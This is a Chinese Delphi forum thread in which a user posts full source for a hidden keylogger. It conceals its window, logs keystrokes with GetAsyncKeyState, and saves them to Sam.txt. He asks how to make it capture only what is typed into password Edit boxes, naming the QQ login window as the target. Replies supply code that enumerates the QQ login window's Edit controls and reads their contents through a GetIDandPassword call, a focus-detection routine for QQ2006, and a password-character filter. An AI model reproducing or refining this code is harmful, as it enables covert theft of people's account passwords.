全部分都加上了。。。。求助EDIT框问题(5分)

  • 主题发起人 主题发起人 大狗熊
  • 开始时间 开始时间

大狗熊

Unregistered / Unconfirmed
GUEST, unregistred user!
unit Unit1;<br><br>interface<br><br>uses<br> &nbsp;Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,<br> &nbsp;ComCtrls, ExtCtrls, StdCtrls;<br><br>type<br> &nbsp;TForm1 = class(TForm)<br> &nbsp; &nbsp;Timer2: TTimer;<br> &nbsp; &nbsp;Timer1: TTimer;<br> &nbsp; &nbsp;Memo1: TMemo;<br> &nbsp; &nbsp;procedure FormActivate(Sender: TObject);<br> &nbsp; &nbsp;procedure Timer2Timer(Sender: TObject);<br> &nbsp; &nbsp;procedure Timer1Timer(Sender: TObject);<br><br> &nbsp;private<br> &nbsp; &nbsp;{ Private declarations }<br> &nbsp;public<br> &nbsp;Loopkey:Byte;<br> &nbsp; &nbsp;{ Public declarations }<br> &nbsp;end;<br><br> &nbsp;var<br> &nbsp;Form1: TForm1;<br> &nbsp;F:Textfile;<br>implementation<br><br>{$R *.DFM}<br><br><br>procedure TForm1.FormActivate(Sender: TObject);<br>begin<br>Application.Minimize;<br>ShowWindow(Application.Handle,SW_HIDE);<br>end;<br><br><br>procedure TForm1.Timer1Timer(Sender: TObject);<br><br>function GetWinClass(hWnd: HWnd): string;<br>var<br> &nbsp;WindowClass: array[0..MAX_PATH] of Char;<br>begin<br> &nbsp;WindowClass[GetClassName(hWnd, WindowClass, MAX_PATH)] := #0;<br> &nbsp;Result := WindowClass;<br>end;<br>function IsPassEdit(hEdit: HWnd): Boolean;<br>begin<br> &nbsp;Result := (GetWinClass(hEdit) = 'Edit') and &nbsp; ( (GetWindowLong(hEdit, GWL_ID) = $B4) or<br> (GetWindowLong(hEdit, GWL_STYLE) and ES_PASSWORD &lt;&gt; 0) or &nbsp;(SendMessage(hEdit, EM_GETPASSWORDCHAR, 0, 0) &lt;&gt; 0)<br> &nbsp; &nbsp;);<br>end;<br><br>var<br> &nbsp;Result:Longint;<br> &nbsp;Enter:Integer;<br> &nbsp;Period:Integer;<br> &nbsp;Comma:Integer;<br> &nbsp;Space:Integer;<br> &nbsp;Colon:Integer;<br> &nbsp;Slash:Integer;<br> &nbsp;Label KeyFound;<br>begin<br>[red] &nbsp;if IsPassEdit(HWnd)= False then Exit;[/red]<br><br>Result:=GetAsyncKeyState(27);<br>If Result=-32767 then<br>Begin<br>Close;<br>End;<br><br>Result:=GetAsyncKeyState(190);<br>If Result= -32767 then<br>begin<br>Period:=1;<br>Goto keyFound;<br>End;<br><br><br>Result:=GetAsyncKeyState(13);<br>if Result= -32767 then<br>Begin<br>Enter:=1;<br>Goto Keyfound;<br>End;<br><br><br>Result:=GetAsyncKeyState(188);<br>if Result= -32767 then<br>begin<br>Comma:=1;<br>Goto keyFound;<br>End;<br><br><br>Result:=GetAsyncKeyState(32);<br>if Result= -32767 then<br>Begin<br>Space:=1;<br>Goto Keyfound;<br>End;<br><br><br>Result:=GetAsyncKeyState(186);<br>if Result= -32767 then<br>Begin<br>Colon:=1;<br>Goto Keyfound;<br>End;<br><br><br>Result:=GetAsyncKeyState(191);<br>if Result= -32767 then<br>Begin<br>Slash:=1;<br>Goto Keyfound;<br>End;<br><br>Loopkey:=41;<br>repeat<br>Result:=GetAsyncKeyState(Loopkey);<br>if Result= -32767 then<br>Begin<br>Memo1.Text:= Memo1.Text + Chr(Loopkey);<br>End<br>Else<br>Loopkey:=Loopkey+1;<br>until Loopkey = 91;<br><br>Exit;<br><br>KeyFound:<br><br>if Enter=1 Then<br>Begin<br>Memo1.Text:=Memo1.Text + #13#10;<br>Exit;<br>End;<br><br>if Period=1 Then<br>Begin<br>Memo1.Text:=Memo1.Text + '.';<br>Exit;<br>End;<br><br>if Comma=1 then<br>begin<br>Memo1.Text:=Memo1.Text+',';<br>Exit;<br>End;<br><br>if Space=1 Then<br>Begin<br>Memo1.Text:=Memo1.Text+' ';<br>Exit;<br>End;<br><br>if Colon=1 then<br>Begin<br>Memo1.Text:=Memo1.Text+':';<br>Exit;<br>End;<br><br>if Slash=1 &nbsp;Then<br>begin<br>Memo1.Text:=Memo1.Text + '/';<br>Exit;<br>End;<br>End;<br><br>procedure TForm1.Timer2Timer(Sender: TObject);<br>begin<br>Assignfile(F,'Sam.txt');<br>if not FileExists('Sam.txt') Then<br>begin<br>Rewrite(F);<br>Closefile(F);<br>End<br>Else<br>Assignfile(F,'Sam.txt');<br>{$I-}<br>Append(F);<br>{$I+}<br>If IOResult&lt;&gt; 0 Then<br>Begin<br>ShowMessage('Cannot Open File');<br>End;<br>Write(F,Memo1.Text);<br>Closefile(F);<br>end;<br>end.<br><br><br>完整源码如上<br>问题在那句<br> &nbsp;if IsPassEdit(HWnd)= False then Exit;<br>编译无法通过,我看不出有什么毛病,其他的都测试通过了,就是判断是否是EDIT框,无法通过<br>请高手指点,全部家当都加上了
 
先跟踪一下GetWinClass函数返回的究竟是'Edit'还是'TEdit'
 
看不懂,不知道你的:<br>if not IsPassEdit(HWnd) then Exit;<br>中的:HWnd是从哪里来的。还有返回的应该是'TEdit'。
 
倒。。我没注意<br>HWnd不对阿。。呵呵<br>我测试的是QQ登陆的EDIT框<br>应该HWnd应该是光标所在处的句柄吧,搬别人的源码修改,结果没弄好:)<br>谁能指点下,目的是鼠标在QQ EDIT框内时返回True
 
function EnumerateChildWindows(hWnd: HWND; lParam: LPARAM): BOOL; stdcall;<br>var<br> &nbsp;ClassName: &nbsp; &nbsp; array [0..255] of Char;<br> &nbsp;WindowText: &nbsp; &nbsp;array [0..255] of Char;<br> &nbsp;I: Integer;<br> &nbsp;strPass: string;<br>begin<br> &nbsp;FillChar(ClassName, 256, 0);<br> &nbsp;GetClassName(hWnd, ClassName, 255);<br> &nbsp;GetWindowText(hWnd, WindowText, 255);<br><br>// &nbsp;Form1.mmo1.Lines.Add(StrPas(ClassName) + ': ' + StrPas(WindowText));<br><br><br>// &nbsp;EM_GETPASSWORDCHAR<br><br><br><br> &nbsp;//GetWindowLong(hWnd, )<br> &nbsp;if (StrPas(ClassName) = 'Edit') then<br> &nbsp;begin<br> &nbsp; &nbsp;strPass := GetIDandPassword(hWnd);<br> &nbsp; &nbsp;Form1.mmo1.Lines.Add(StrPas(ClassName) + '(' + StrPas(WindowText) + '): ' + strPass);<br> &nbsp;end;<br><br> &nbsp;Result := True;<br>end;<br><br><br>procedure TForm1.btn1Click(Sender: TObject);<br>var<br> &nbsp;hWnd: THandle;<br>begin<br> &nbsp;Form1.mmo1.Lines.Clear;<br> &nbsp;hWnd := FindWindow(nil, 'QQ用户登录');<br> &nbsp;if Handle &lt;&gt; 0 then EnumChildWindows(hWnd, @EnumerateChildWindows, 0);<br><br> &nbsp;//Edit1.PasswordChar<br>end;
 
QQ的登陆界面真实太难搞定了,试了很多方法这样应该比较简单,但这段代码不是很好,如果输入密码的人有输入了代理密码就分不出来了。还可以先找到密码框的ID,然后找Handle,然后对比看与下面代码中的Focushld是否相同,我没事过,但估计应该可以吧<br><br>对于QQ2006<br><br>procedure MyGetFocus;<br>var<br> &nbsp;windowhld:hwnd;<br> &nbsp;threadld:dword;<br>begin<br> &nbsp;windowhld:=GetActiveWindow;<br> &nbsp;threadld:=GetWindowThreadProcessId(Windowhld,nil);<br> &nbsp;AttachThreadInput(GetCurrentThreadId,threadld,true);<br> &nbsp;Focushld:=getfocus;<br> &nbsp;AttachThreadInput(GetCurrentThreadId,threadld,false);<br>end;<br><br>function IsPassEdit:BOOL;stdcall;<br>var<br> &nbsp;st:LongInt;<br>begin<br> &nbsp;MyGetFocus;<br> &nbsp;st:=GetWindowLong(focushld,GWL_STYLE);<br> &nbsp;if st=1342242976 then<br> &nbsp;begin<br> &nbsp; &nbsp;Result:=True<br> &nbsp;end<br> &nbsp;else<br> &nbsp;Result:=False;<br>end;
 
用寻路老兄的代码<br><br>Edit(): 289284226<br>Edit(): <br>Edit(): <br>Edit(): <br>Edit(): <br>Edit(): <br>Edit(): <br>Edit(): <br>Edit(): <br>Edit(): 0<br>Edit(): <br>Edit(): <br><br>呵呵,无法获取到真正的,试验下下面的看看
 
你需要得到哪个真正的呢,你不是说只需要Edit就可以吗?<br>如果只是想得到密码筐,我想可以加一个:<br>if (StrPas(ClassName) = 'Edit') and (SendMessage(hWnd, EM_GETPASSWORDCHAR, 0, 0) &lt;&gt; 0) then<br> &nbsp;begin<br> &nbsp; &nbsp;strPass := GetIDandPassword(hWnd);<br> &nbsp; &nbsp;Form1.mmo1.Lines.Add(StrPas(ClassName) + '(' + StrPas(WindowText) + '): ' + strPass);<br> &nbsp;end;
 
接受答案了
 
积分改给寻路的...加错人了
 
呵呵,没关系!
 

Similar threads

S
回复
0
查看
3K
SUNSTONE的Delphi笔记
S
S
回复
0
查看
2K
SUNSTONE的Delphi笔记
S
I
回复
0
查看
671
import
I
I
回复
0
查看
601
import
I
后退
顶部